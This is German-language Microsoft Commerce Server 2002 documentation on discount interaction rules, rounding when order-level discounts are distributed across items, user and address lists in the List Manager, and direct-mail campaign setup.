Im folgenden Beispiel sind die Hosen Bestandteil der Bedingung im ersten Preisnachlass. Im zweiten Preisnachlass sind die Hosen Gegenstand der Auszeichnung. Da für den ersten Preisnachlass die Bedingung Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Bedingungen dieses Preisnachlasses zulassen eingestellt ist, wird das 50-prozentige Preisnachlassangebot auf eine der beiden Hosen im Warenkorb angewendet.

Preisnachlass 1

Bedingungsartikel | Auszeichnungs- artikel | Angebot | Priorität
1 Paar Hosen | 1 Gürtel | 50 Prozent Preisnachlass | 20

Preisnachlass 2

Bedingungsartikel | Auszeichnungs- artikel | Angebot | Priorität
2 Hemden | 1 Paar Hosen | 50 Prozent Preisnachlass | 20

Nachstehend ein Beispiel für den Benutzerwarenkorb:

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Paar Hosen | 50,00 | 25,00 | 25,00
Erstes Hemd | 30,00 | 0,00 | 30,00
Zweites Hemd | 30,00 | 0,00 | 30,00
Gürtel | 10,00 | 5,00 | 5,00
GESAMTSUMME | 120,00 | 30,00 | 90,00

Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen eines Preisnachlasses

Mithilfe dieser Interaktionsrichtlinie können Sie festlegen, dass ein Artikel im Warenkorb, der Gegenstand einer Auszeichnung war, auch als Bedingung verwendet werden kann.

Im folgenden Beispiel wird unter Preisnachlass 1 das Hemd als Auszeichnungsartikel verwendet. Im Preisnachlass 2 ist das Hemd die Bedingung. Da für Preisnachlass 1 die Richtlinie Wiederverwendung dieser Preisnachlassauszeichnungen als Bedingungen für andere Preisnachlässe zulassen eingestellt ist, wird Preisnachlass 2 angewendet. Wenn die Richtlinien nicht festgelegt wäre, würde Preisnachlass 2 nicht angewendet werden, weil Commerce Server 2002 standardmäßig nicht zulässt, dass eine Bedingung durch einen Auszeichnungsartikel erfüllt wird.

Preisnachlass 1

Bedingungsartikel | Auszeichnungs- artikel | Angebot | Priorität
2 Paar Hosen | 1 Hemd | 50 Prozent Preisnachlass | 10

Preisnachlass 2

Bedingungsartikel | Auszeichnungs- artikel | Angebot | Priorität
1 Hemd | 1 Gürtel | 50 Prozent Preisnachlass | 20

Nachstehend ein Beispiel für den Benutzerwarenkorb:

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Paar Hosen | 50,00 | 0,00 | 50,00
Zweites Paar Hosen | 50,00 |  | 50,00
Erstes Hemd | 30,00 | 15,00 | 15,00
Gürtel | 10,00 | 5,00 | 5,00
GESAMTSUMME | 140,00 | 20,00 | 120,00

Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen einer anderen Auszeichnung

Mithilfe dieser Interaktionsrichtlinien können Sie festlegen, dass ein Artikel im Warenkorb mehrere Auszeichnungen erhält, sodass auf ein und denselben Artikel eine Kombination aus mehreren Preisnachlässen angewendet werden kann.

Da im folgenden Beispiel für Preisnachlass 1 die Richtlinie Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Auszeichnungen dieses Preisnachlasses zulassen eingestellt ist, werden die Angebote sowohl unter Preisnachlass 1 als auch unter Preisnachlass 2 auf den Gürtel angewendet, woraus sich ein Gesamtpreisnachlass von 50 Prozent (25 + 25) ergibt. Da die Preisnachlässe dieselbe Priorität haben, werden sie zu einem Preisnachlass zusammengefasst. Da für Preisnachlass 1 die Richtlinie Wiederverwendung dieser Preisnachlassauszeichnungen als Bedingungen für andere Preisnachlässe zulassen eingestellt ist, wird Preisnachlass 2 angewendet. Wenn die Richtlinien nicht festgelegt wäre, würde Preisnachlass 2 nicht angewendet werden, weil Commerce Server 2002 standardmäßig nicht zulässt, dass eine Bedingung durch einen Auszeichnungsartikel erfüllt wird.

Preisnachlass 1

Bedingungsartikel | Auszeichnungs- artikel | Angebot | Priorität
1 Paar Hosen | 1 Gürtel | 25 Prozent Preisnachlass | 10

Preisnachlass 2

Bedingungsartikel | Auszeichnungs- artikel | Angebot | Priorität
1 Hemd | 1 Gürtel | 25 Prozent Preisnachlass | 10

Nachstehend ein Beispiel für den Benutzerwarenkorb:

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Hose | 50,00 | 0,00 | 50,00
Hemd | 30,00 | 0,00 | 0,00
Gürtel | 10,00 | 5,00 | 5,00
GESAMTSUMME | 90,00 | 5,00 | 85,00

Siehe auch

Beispiele für Preisnachlässe

Sortierreihenfolge für Preisnachlässe

Getrennte Preisnachlässe

Erstellen eines Preisnachlasses


Sortierreihenfolge für Preisnachlässe

Die Reihenfolge, in der Auszeichnungsartikel im Benutzerwarenkorb verarbeitet werden, beeinflusst den Gesamtpreisnachlass, der einem Benutzer gewährt wird. Gemäß der Standardsortierreihenfolge in Commerce Server 2002 wird die Auszeichnung auf den teuersten Artikel im Warenkorb angewendet, was dem Benutzer entgegenkommt. Wenn die Auszeichnung zuerst auf den billigsten Artikel angewendet wird, geschieht dies zu Ungunsten des Benutzers. Wenden Sie sich an Ihren Siteentwickler, wenn Sie die Standardsortierreihenfolge ändern möchten.

Hinweis

  • Die Reihenfolge, in der die Artikel im Warenkorb für die Preisnachlassbedingungen verarbeitet werden, beeinflusst ebenfalls den Gesamtpreisnachlass, der dem Benutzer gewährt wird. Diese Sortierreihenfolge lässt sich jedoch nicht ändern.

Siehe auch

Mehrfache Preisnachlässe

Beispiele für Preisnachlässe


Verarbeiten von Preisnachlässen

Die Content Selection Framework-Pipeline (CSF) für Preisnachlässe verarbeitet Preisnachlässe mithilfe der Bestellpreisnachlass-Pipelinekomponente. Anhand der CSF-Pipeline für Preisnachlässe bieten Sie den günstigsten Preisnachlass für Benutzer an. Mithilfe der Warenkorbpipeline werden Preisnachlässe im Warenkorb angewendet.

  • Die CSF-Pipeline für Preisnachlässe überprüft Anfangs- und Beendigungsdaten der Preisnachlässe und passt dann die entsprechenden Ergebnisse in der Liste der möglichen Preisnachlässe an. So wird sichergestellt, dass die Preisnachlässe, die für den aktuellen Benutzer am relevantesten sind, die höchste Priorität erhalten.
  • Die Bestellpreisnachlass-Pipelinekomponente wendet zunächst die Anforderungen auf die verfügbaren Preisnachlässe an. Abhängig vom jeweiligen Preisnachlass werden zur Auswertung der Zielausdrücke Benutzer- bzw. Kontextprofilinformationen eingesetzt. Außerdem wird die Liste der Kampagnenartikel-IDs für jeden angeklickten Artikel überprüft, falls ein Preisnachlass einen Klick erfordert. Anschließend verarbeitet die Bestellpipeline die einzelnen Artikel, wobei die Bedingungen und Auszeichnungen getestet werden. Preisnachlässe werden von der höchsten zur niedrigsten Priorität angewendet. Falls zwei Preisnachlässe dieselbe Priorität haben, bestimmen andere Eigenschaften als die Priorität die Reihenfolge für die Anwendung der Preisnachlässe.

Siehe auch

Erstellen eines Preisnachlasses

Erstellen von Kampagnenausdrücken


Verteilen von Preisnachlässen auf Bestellebene

Für eine korrekte Abwicklung von Reklamationen ziehen es Kampagnenmanager vor, Preisnachlässe auf Bestellebene auf die Einzelposten zu verteilen. Commerce Server 2002 gewährt Preisnachlässe in Prozent oder in absoluten Währungsbeträgen.

Angenommen, ein Kampagnenmanager bietet bevorzugten Benutzern einen Preisnachlass von 10 % für die folgende Bestellung:

  • 4 Büchern à 25 Euro = 100 Euro

Wenn der Preisnachlass nur auf den Gesamtpreis angewendet wird, ergibt sich folgende Rechnung:

Artikel | Betrag
Buch 1 | 25,00
Buch 2 | 25,00
Buch 3 | 25,00
Buch 4 | 25,00
Zwischensumme | 100,00
Preisnachlass | (10,00)
Gesamtsumme | 90,00

In diesem Beispiel wird der 10-prozentige Preisnachlass auf die Endsumme (100,00 Euro) angewendet. Wenn der Benutzer ein Buch reklamiert, wird ihm der volle Preis von 25,00 Euro erstattet. Der Benutzer hat dabei jedoch nicht den vollen Preis pro Buch bezahlt, sondern tatsächlich nur 22,50 Euro.

Das folgende Beispiel zeigt die über die Artikel einer Bestellung verteilten Preisnachlässe an.

Artikel | Preisnachlass | Betrag
Buch 1 | 2,50 | 22,50
Buch 2 | 2,50 | 22,50
Buch 3 | 2,50 | 22,50
Buch 4 | 2,50 | 22,50
Gesamtsumme | 10,00 | 90,00

Im obigen Beispiel wurden die gesenkten Preise der einzelnen Artikel mit 22,50 Euro erfasst. Der Gesamtverkaufspreis entspricht damit dem Preisnachlass, der auf den Endpreis angewendet wurde. Das Beispiel stellt eine korrekte Anwendung eines Preisnachlasses dar. Wenn ein Benutzer ein Buch reklamiert, übersteigt der erstattete Betrag nicht den tatsächlich bezahlten Preis.

Verteilung von prozentualen Preisnachlässen

Commerce Server 2002 wendet prozentuale Preisnachlässe auf alle Artikel in einer Bestellung an. Bei prozentualen Preisnachlässen wird folgender Algorithmus verwendet:

PercentageDiscount = Round((ItemAdjustedPrice*DiscountFraction),2;

Dieser ist mit dem folgenden Ausdruck identisch:

Rundung des Wertes: ItemAdjustedPrice*DiscountFraction auf zwei Dezimalstellen, wobei ItemAdjustedPrice für den Preis des Artikels nach der Anpassung für Preisnachlässe steht, die vor dem Preisnachlass auf Bestellebene angewendet wurden.

Das folgende Beispiel zeigt, wie zwei prozentuale Preisnachlässe auf den Warenkorb eines Benutzers angewendet werden:

 | Preisnachlass 1 | Preisnachlass 2
Bedingung | 1 Hemd | Kauf eines beliebigen Artikels
Auszeichnung | 1 Hemd mit 30 % Preisnachlass | Preisnachlass auf Bestellebene in Höhe von 10 %
Getrennter Preisnachlass | Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden | Angebot nur auf 'Produkt abrufen' anwenden
Höchstwert | Keine | Keine
Priorität | 10 | 20

Die folgende Tabelle zeigt den Warenkorb vor der Anwendung der Preisnachlässe:

Warenkorb (vor der Anwendung der Preisnachlässe)

Artikel | Menge | Einzelpreis | Preisnachlass | Angepasster Preis | Gesamtpreis
Hemd | 2 | 12,36 | 0 | 24,72 |
Angepasste Bestellzwischensumme |  |  |  | 24,72 |

Die folgende Tabelle zeigt den Warenkorb nach Anwendung des ersten Preisnachlasses:

Warenkorb (nach Anwendung des 1. Preisnachlasses)

Artikel | Menge | Einzelpreis | Preisnachlass | Angepasster Preis | Gesamtpreis
Hemd | 2 | 12,36 | 7,42 | 17,30 |
Angepasste Bestellzwischensumme |  |  |  | 17,30 (0,3*12,36) |

Die folgende Tabelle zeigt den Warenkorb nach Anwendung des zweiten Preisnachlasses:

Warenkorb (nach Anwendung des 2. Preisnachlasses)

Artikel | Menge | Einzelpreis | Preisnachlass | Angepasster Preis | Gesamtpreis
Hemd | 2 | 12,36 | 9,15 (7,42+1,73) | 15,57 | 15,57
Angepasste Bestellzwischensumme |  |  |  | 15,57 | 15,57

Beim zweiten Preisnachlass werden die 10 Prozent auf den Betrag 17,30 Euro angewendet (d. h. nicht auf den angepassten Preis vor dem ersten Preisnachlass (24,72 Euro), sondern auf den angepassten Preis nach dem ersten Preisnachlass).

Hinweis

  • Im obigen Beispiel werden die prozentualen Preisnachlässe auf zwei Dezimalstellen gerundet.

Aufgrund der Tatsache, dass Commerce Server den auf zwei Dezimalstellen gerundeten prozentualen Preisnachlass auf jeden Artikel der Bestellung anwendet, entstehen bei der Berechnung potenziell Ungenauigkeiten.

Das folgende Beispiel für einen Preisnachlass auf Bestellebene zeigt einen Fall, in dem der angepasste Artikelpreis aufgrund der Rundungsregel nicht der angepassten Bestellzwischensumme entspricht.

Bedingung: Kauf eines beliebigen Artikels

Auszeichnung: Preisnachlass auf Bestellebene von 15 %

Die folgende Tabelle zeigt den Warenkorb nach Anwendung des Preisnachlasses auf Bestellebene:

Benutzerwarenkorb

Artikel | Menge | Einzelpreis | Preisnachlass | Angepasster Preis | Gesamtpreis
Hemd | 2 | 12,36 | 3,708 (gerundet auf 3,71) | 21,01 |
Hose | 1 | 7,64 | 1,146 (gerundet auf 1,15) | 6,49 |
Angepasste Bestellzwischensumme |  | 32,36 | 4,854 (gerundet auf 4,85) | 27,51 |

Beachten Sie, dass die Summe der Spalte Angepasster Preis (21,01+6,49=27,50) nicht dem Wert unter Angepasste Bestellzwischensumme (32,36+4,85=27,51) entspricht. Das Commerce Server Software Development Kit (SDK) enthält den Code zur Anwendung von prozentualen Preisnachlässen auf Bestellebene, der auf individuelle Geschäftsanforderungen angepasst werden kann.

Informationen zum Ändern des Anwendungscodes für Preisnachlässe auf Bestellebene finden Sie unter "BaseOrderDiscountEngine.cpp" im SDK-Pfad "Laufwerk:Programme\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\OrderLevelDiscountComponents".

Verteilung von Preisnachlässen als fester Währungsbetrag

Bei in Währungsbeträgen berechneten Preisnachlässen wird der Nachlassbetrag für die einzelnen Artikel berechnet und auf die Artikel im Warenkorb verteilt. Für diese Preisnachlässe wird folgender Algorithmus verwendet:

ItemDiscount = Truncate(((ItemAdjustedPrice/OrderAdjustedSubtotal)*DiscountAmount),2);

Dieser ist mit dem folgenden Ausdruck identisch:

Kürzung des Wertes ItemAdjustedPrice/OrderAdjustedSubtotal auf zwei Dezimalstellen, wobei ItemAdjustedPrice für den Preis des Artikels und OrderAdjustedSubtotal für die Zwischensumme der Bestellung nach deren Anpassung für Preisnachlässe steht, die vor dem Preisnachlass auf Bestellebene angewendet wurden.

Hinweis

  • In Währungsbeträgen berechnete Preisnachlässe werden auf zwei Dezimalstellen gerundet.

Im folgenden Beispiel wird gezeigt, wie in Währungsbeträgen berechnete Preisnachlässe auf die Einzelposten im Warenkorb verteilt werden. Ein Kampagnenmanager bietet bevorzugten Benutzern einen Preisnachlass von 25 Euro für die folgende Bestellung:

  • 2 Hemden à 30 Euro
  • 2 Paar Hosen à 50 Euro
  • 1 Gürtel à 10 Euro

Die folgende Tabelle zeigt den Warenkorb vor Anwendung des Preisnachlasses von 25 Euro:

Benutzerwarenkorb

Artikel | Menge | Einzelpreis | Erweiterter Preis
Hemd | 2 | 30,00 | 60,00
Hosen | 2 | 50,00 | 100,00
Gürtel | 1 | 10,00 | 10,00
Gesamtsumme |  |  | 170,00

Die folgende Tabelle zeigt den Warenkorb nach Anwendung des Preisnachlasses von 25 Euro:

Benutzerwarenkorb

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Hemd | 30,00 | 4,41 | 25,59
Zweites Hemd | 30,00 | 4,41 | 25,59
Erstes Paar Hosen | 50,00 | 7,35 | 42,65
Zweites Paar Hosen | 50,00 | 7,35 | 42,65
Gürtel | 10,00 | 1,47 | 8,52
Gesamtsumme | 170,00 | 24,99 | 145,00

Beachten Sie, dass sich der Preisnachlass für die Bestellung nicht auf volle 25 Euro, sondern auf 24,99 Euro beläuft.

Die folgenden beiden Ansätze können verwendet werden, um das Rundungsproblem zu beheben:

Ansatz 1:

Mit dem ersten Ansatz wird die Differenz auf den letzten Artikel in der Liste, für den der Preisnachlass gilt, angewendet.

If (CurrentItem = LastItemThatCanReceiveADiscount)

If (TotalDiscountApplied < AwardAmount)

ItemDiscount = (AwardAmount – TotalDiscountApplied)

Hinweis

  • Da es sich um abgeschnittene Werte handelt, ergibt TotalDiscountApplied immer <=AwardAmount.

Ansatz 2:

Mit dem zweiten Ansatz wird folgende Berechnung ausgeführt:

  1. Berechnung des niedrigsten Preises auf Grundlage der Dezimalstellen. Wenn beispielsweise zwei Dezimalstellen angezeigt werden, ist der kleinstmögliche Preis 0,01 Euro.
  2. Addieren Sie diesen "niedrigsten Preis" ausgehend vom teuersten Artikel zu den Preisnachlässen für die einzelnen Artikel. Wenn zwei Artikel denselben "teuersten Preis" haben, wird der Preisnachlass dem Artikel mit dem "niedrigsten Warenkorbindex" zugeordnet.
  3. Subtrahieren Sie diesen Betrag vom Fehlerwert des Preisnachlasses.
  4. Wiederholen Sie die Schritte 2 und 3, bis der Preisnachlassfehler den Wert Null (0) erreicht.

Im Folgenden wird demonstriert, wie der Preisnachlass von 25 Euro mit Ansatz 1 angewendet wird.

  • 2 Hemden à 30 Euro
  • 2 Paar Hosen à 50 Euro
  • 1 Gürtel à 10 Euro

Benutzerwarenkorb

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Hemd | 30,00 | 4,41 | 25,59
Zweites Hemd | 30,00 | 4,41 | 25,59
Erstes Paar Hosen | 50,00 | 7,35 | 42,65
Zweites Paar Hosen | 50,00 | 7,35 | 42,65
Gürtel | 10,00 | 1,48 | 8,52
Gesamtsumme | 170,00 | 25,00 | 145,00

Im oben stehenden Beispiel wird der Preisnachlass zuletzt auf den Gürtel angewendet. Daher wird der zusätzliche Betrag von 0,01 Euro (Preisnachlassfehler) zur Auszeichnung für den Gürtel addiert, sodass sich ein Nachlassbetrag von 1,48 Euro (1,47+0,01) ergibt. Der Preisnachlass für die Bestellung beträgt damit 25 Euro.

Im Folgenden wird anhand eines zusätzlichen Beispiels demonstriert, wie Festbetragspreisnachlässe mit Ansatz 1 angewendet werden.

  • Kauf eines beliebigen Artikels
  • Preisnachlass auf Bestellebene in Höhe von 5 Euro

Benutzerwarenkorb

Warenkorbindex | Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
1 | Artikel 1 | 7,50 | 2,49 | 5,01
2 | Artikel 1 | 7,50 | 2,49 | 5,01
3 | Artikel 3 | 0,01 | 0,00 | 0,01
Gesamtsumme |  | 15,01 | 4,98 | 10,03

Beachten Sie, dass der Preisnachlass in diesem Beispiel sich für die Bestellung nicht auf volle 5 Euro, sondern auf 4,98 Euro beläuft.

Im Folgenden wird demonstriert, wie der Preisnachlass im oben stehenden Beispiel mit Ansatz 1 angewendet wird.

Benutzerwarenkorb

Warenkorbindex | Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
1 | Artikel 1 | 7,50 | 2,49 | 5,01
2 | Artikel 1 | 7,50 | 2,51 | 4,99
3 | Artikel 3 | 0,01 | 0,00 | 0,01
Gesamtsumme |  | 15,01 | 5,00 | 10,01

Im oben stehenden Beispiel ist Artikel 1 mit dem Warenkorbindex 2 der letzte Artikel, auf den ein Preisnachlass angewendet wird. (Für Artikel 3 kann kein Preisnachlass von 0,02 Euro erfolgen, da der Preis nur 0,01 Euro beträgt.) Daher wird der zusätzliche Betrag von 0,02 Euro (Preisnachlassfehler) zu Artikel 1 mit dem Warenkorbindex 2 addiert, sodass sich ein Betrag von 2,51 Euro ergibt. Der Preisnachlass für die gesamte Bestellung beträgt damit 5 Euro.

Im Folgenden werden die sich aus der Verwendung von Ansatz 1 ergebenden Konsequenzen betrachtet:

  • Die Warenkorbindizes 1 und 2 enthalten dieselbe Artikelnummer (mit denselben Preisen). Die für die Artikel gewährten Preisnachlässe sind jedoch unterschiedlich.
  • Auf Artikel 3 wurde kein Preisnachlass angewendet.
  • Da Artikel 1 und Artikel 2 denselben Preis haben, ergibt sich die Frage, ob im Fall einer Rücksendung eines dieser Artikel ein Betrag von 5,01 Euro oder von 4,99 Euro rückzuerstatten ist.

Im Folgenden wird demonstriert, wie der Preisnachlass im oben stehenden Beispiel mit Ansatz 2 angewendet wird.

Benutzerwarenkorb

Warenkorbindex | Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
1 | Artikel 1 | 7,50 | 2,50 | 5,00
2 | Artikel 1 | 7,50 | 2,50 | 5,00
3 | Artikel 3 | 0,01 | 0,00 | 0,01
Gesamtsumme |  | 15,01 | 5,00 | 10,01

Die gesenkten Preise der einzelnen Artikel wurden erfasst, und der Benutzer erhält einen Preisnachlass von 5 Euro. Auf die Artikel mit Warenkorbindex 1 und 2 wird derselbe Preisnachlass angewendet. Wenn einer der Artikel zurückgegeben wird, ist der Rückerstattungsbetrag für die beiden Artikel demnach gleich.

Hinweis

  • Im oben stehenden Beispiel wird die Pipelinekomponente OrderDiscountApply zur Anwendung des Preisnachlasses verwendet. Informationen zur Komponente OrderDiscountApply finden Sie im Thema "OrderDiscount" (englisches Thema) in Programmer's Reference (nur auf Englisch verfügbar) in der Commerce Server 2002-Hilfe.

Siehe auch

Verarbeiten von Preisnachlässen

Komponenten eines Preisnachlasses

Erstellen eines Preisnachlasses


Mehrsprachige Preisnachlässe

Wenn Sie Preisnachlässe in mehreren Sprachen verwenden möchten, müssen Sie für jede Sprache einen separaten Preisnachlass erstellen. Weitere Informationen zum Erstellen eines Preisnachlasses finden Sie unter Erstellen eines Preisnachlasses.

Hinweis

  • Beachten Sie beim Erstellen von Preisnachlässen in mehreren Sprachen, dass der Preisnachlassname auf 50 Zeichen begrenzt ist.

Siehe auch

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe


Benutzer- und Adressenlisten

Mithilfe des Listen-Manager-Moduls von Commerce Server Business Desk können Sie Benutzer- und Adressenlisten importieren und exportieren. Die Listen müssen im Listen-Manager ein spezielles Format aufweisen. Informationen zum Format der Adressenlisten finden Sie unter Adressenlisten. Informationen zum Format der Benutzerlisten finden Sie unter Benutzerlisten.

  • Hinzufügen von Listen zum Listen-Manager. Sie können in anderen Anwendungen erstellte Listen in den Listen-Manager importieren. Beispiele solcher Anwendungen sind SQL Server (SQL-Tabellen), Editor (ASCII-Textdateien), Microsoft Excel (Kalkulationstabellen) oder Microsoft Outlook (PST-Dateien mit Adressenlisten).

    Wenn Sie z. B. über eine Adressenliste in Form einer Microsoft Excel-Kalkulationstabelle verfügen, können Sie diese mit dem Listen-Manager in Business Desk importieren und die Liste dann in einer Direktsendungskampagne verwenden. Informationen zum Erstellen von Adressenlisten finden Sie unter Erstellen einer Adressenliste.

    Informationen über das Importieren von Listen in den Listen-Manager finden Sie unter Importieren und Exportieren von Listen.

  • Verwenden von Listen aus dem Listen-Manager. Sie können die Benutzerprofile anhand einer Benutzerliste aus dem Listen-Manager-Modul aktualisieren. Beim Aktualisieren der Liste der Benutzerprofile weisen Sie im Benutzermodul einer Profileigenschaft der Benutzerprofile einen bestimmten Wert zu. Diesen Wert verwenden Sie zur Zielgruppenadressierung bestimmter Anzeigen oder Preisnachlasskampagnen an Benutzer, deren Profile Sie geändert haben. Informationen über das Importieren von Listen in das Benutzermodul finden Sie unter Suchen von Benutzerprofilen in Adressenlisten. Informationen über das Ändern mehrerer Benutzerprofile finden Sie unter Bearbeiten mehrerer Benutzerprofile.

    Sie haben auch die Möglichkeit, die Liste in eine andere Anwendung zu exportieren. Informationen über das Exportieren von Listen in eine Datei finden Sie unter Importieren und Exportieren von Listen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Adressenlisten
  • Benutzerlisten
  • Allgemeine Listen
  • Dynamische und statische Listen


Adressenlisten

Adressenlisten enthalten E-Mail-Adressen im Zeilenformat für die Verwendung in einer Direktsendungskampagne. Jede Zeile in der Liste enthält einen einzigen Empfänger und besteht aus den folgenden Elementen im durch Trennzeichen getrennten (CSV-)Format.

Element | Beschreibung
E-Mail-Adresse | Name oder Name@Domäne.
GUID | Global eindeutiger Bezeichner (GUID, Global Unique Identifier). Die Benutzer-ID, mit der die Inhalte in einer personalisierten E-Mail-Nachricht bereitgestellt werden.
Nachrichtenformat Steuert den Nachrichtenformattyp, in den die Ergebnisse vom Collaboration Data Object (CDO) übersetzt werden. Folgende Werte werden unterstützt:
  • Text (1)
  • MIME (2)
  • MHTML (3)

Informationen über Nachrichtenformate finden Sie unter Nachrichtenformate.
Sprache | Werte der Codepage, die in Adressenlisten verwendet werden, z. B. US-ASCII und ISO-8859-1.
URL | Ermöglicht es, einzelne URLs pro Benutzer an CDO zu übergeben.

Listen lassen sich mit einem beliebigen Text-Editor (z. B. Editor) erstellen. Adressenlisten können zu Business Desk hinzugefügt werden, indem Sie mit dem Listen-Manager-Modul ASCII-Textdateien, Dateien aus Microsoft Excel oder Microsoft Outlook bzw. Tabellen aus SQL Server-Datenbanken importieren. Informationen zum Erstellen von Adressenlisten finden Sie unter Erstellen einer Adressenliste.

Informationen über das Importieren von Adressenlisten für eine Direktsendungskampagne finden Sie unter Importieren einer Adressenliste.

Siehe auch

Erstellen einer Adressenliste

Importieren einer Adressenliste

Verwalten von Listen mit Benutzereinträgen

Benutzerlisten

Allgemeine Listen


Benutzerlisten

Benutzerlisten enthalten Zeilen mit Benutzer-IDs und – optional – anderen Benutzerprofileigenschaften. Eine Benutzerliste ist eine beliebige Liste, in der die Spalte rcp_guid enthalten ist. Benutzerlisten lassen sich vom Listen-Manager-Modul in das Benutzermodul exportieren. Anschließend können Sie Massenaktualisierungen der Eigenschaften bestimmter Benutzer durchführen.

Siehe auch

Erstellen einer Adressenliste

Importieren einer Adressenliste

Suchen von Benutzerprofilen in Adressenlisten

Importieren und Exportieren von Listen

Verwalten von Listen mit Benutzereinträgen

Allgemeine Listen


Allgemeine Listen

Im Gegensatz zu Benutzer- und Adressenlisten unterliegen allgemeine Listen keinen inhaltlichen Beschränkungen. Damit Sie allgemeine Listen einsetzen können, muss Ihre Anwendung von einem Siteentwickler angepasst werden.

Allgemeine Listen können beliebige Elemente sowie Kopfzeilen enthalten, wie das folgende Beispiel zeigt:

ProductID | Produktname | Einheit
1 | Socken | 100
2 | Hemden | 20

Mit allgemeinen Listen können Sie z. B. Produkteigenschaften festlegen. Führen Sie den Commerce Server-Bericht "Produktverkäufe" aus, um die beliebtesten Produkte (in Bezug auf die Verkäufe) in Ihrer Website zu ermitteln. Importieren Sie dann die Ergebnisse dieses Berichts mit dem Listen-Manager-Modul als Produktliste. Geben Sie anschließend über das Katalog-Editor-Modul diesen Produkten eine Eigenschaft, die sie als Verkaufsschlager ausweist. Mithilfe dieser Eigenschaft können Sie dann Zielausdrücke erstellen oder den Preis dieser Produkte um 5 % erhöhen.

Siehe auch

Adressenlisten

Benutzerlisten

Importieren und Exportieren von Listen

Verwalten von Listen mit Benutzereinträgen


Dynamische und statische Listen

Benutzerlisten, Adressenlisten und allgemeine Listen sind entweder dynamisch oder statisch.

  • Dynamische Listen werden zur Laufzeit erstellt – beispielsweise beim Exportieren einer Liste aus dem Listen-Manager zur Verwendung in einer Direktsendungskampagne. Der Listen-Manager sammelt bei jeder Anforderung der Liste die neuesten Daten im Data Warehouse. Nur die zur Erstellung der Liste benötigten Informationen werden in der vom Listen-Manager verwendeten Datenbank gespeichert. Verwenden Sie dynamische Listen für häufig durchgeführte Direktsendungskampagnen oder für Adressenlisten, die oft aktualisiert werden müssen.
  • Statische Listen werden sofort auf Anforderung erstellt und dann in der vom Listen-Manager verwendeten Datenbank gespeichert. Verwenden Sie statische Listen für unregelmäßig durchgeführte Direktsendungskampagnen oder für Adressenlisten, die sich nicht so häufig ändern.

Siehe auch

Importieren und Exportieren von Listen

Verwalten von Listen mit Benutzereinträgen

Erstellen einer Adressenliste


Direktsendungen

Direktsendungen werden erstellt, um Anzeigen per E-Mail zielgerichtet an eine Benutzergruppe zu senden. Das Ziel einer solchen Sendung besteht darin, eine möglichst hohe Zahl von Antworten auf die E-Mails zu erhalten. Sie können personalisierte E-Mail-Nachrichten von einer Webseite bzw. nicht personalisierte Nachrichten aus einer nichtformatierten Textdatei senden. In den erstellten Direktsendungsnachrichten können Anlagen wie z. B. Bilder, Preisnachlässe oder URLs enthalten sein. Der Direktsendungsdienst ist für den Massenversand von personalisierten E-Mail-Nachrichten an Millionen Benutzer ausgelegt.

Die Einrichtung einer Direktsendung erfolgt mithilfe des Moduls "Kampagnen-Manager" von Business Desk. Direktsendungen werden vom Direct Mailer-Dienst verarbeitet. Dies ist ein leistungsfähiges Modul, mit dem sehr schnell eine große Anzahl von E-Mails versendet werden kann.

Zum Erstellen einer Direktsendung führen Sie folgende Schritte aus:

  • Erstellen der Nachricht. Zur Erstellung personalisierter E-Mail-Nachrichten muss Ihr Siteentwickler zuerst Active Server Pages (ASP) mit dem personalisierten Text erstellen und diese zum Webserver hinzufügen. Vom Siteentwickler erhalten Sie dann den URL der ASP-Seiten. Zum Erstellen einer nicht personalisierten Nachricht können Sie einfach mithilfe eines Texteditors (z. B. Editor) Text in eine nichtformatierte Datei eingeben.
  • Erstellen einer Empfängerliste. Mit den leistungsfähigen Analysetools von Commerce Server lässt sich eine Liste mit Empfängern für die Direktsendungskampagne erstellen. So können Sie z. B. mit dem Berichtsmodul von Business Desk einen Bericht unter Verwendung der Daten im Data Warehouse ausführen, um eine Liste bestimmter Benutzer zu erhalten. Die fertige Liste kann dann in den Listen-Manager exportiert werden. Nachdem eine Liste in den Listen-Manager exportiert wurde, steht sie für Direct Mailer zu Verfügung.

    Es ist nicht möglich, Zielgruppen zu verwenden, um Direktsendungen direkt an E-Mail-Adressen von Benutzern zu schicken.

  • Erstellen und planen Sie die Direktsendungskampagne. Im Modul "Kampagnen-Manager" bestimmen Sie den Kampagnennamen, den Namen der Empfängerliste, Anfangszeit und -datum des Kampagnenartikels sowie den URL (für personalisierte Nachrichten) bzw. die statische Datei für den Nachrichtentext.

Weitere Informationen zum Hinzufügen von Direktsendungen finden Sie unter Erstellen von Direktsendungskampagnen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Nachrichtenformate
  • Abonnementkündigungslisten
  • Verarbeiten von Direktsendungen


Nachrichtenformate

Zum Erstellen von Inhalten für Direktsendungsnachrichten stehen verschiedene Möglichkeiten zur Auswahl. Das Nachrichtenformat steuert das Format, in das die Ergebnisse vom Collaboration Data Object (CDO) übersetzt werden. Direct Mailer unterstützt folgende drei Nachrichtenformate: Text, MIME und MHTML.

  • Text. Formatiert die E-Mail im ASCII-Format.
  • MIME (Multipurpose Internet Mail Extensions). Offizieller Internetstandard, der das Format von Nachrichten festlegt, damit diese zwischen unterschiedlichen E-Mail-Systemen ausgetauscht werden können. MIME ist ein flexibles Format und stellt eine Erweiterung von SMTP (Simple Mail Transfer Protocol) dar. Damit können Daten, wie Video-, Audio- und Binärdateien, als E-Mail über das Internet übertragen werden, ohne zuerst in das ASCII-Format übersetzt zu werden.
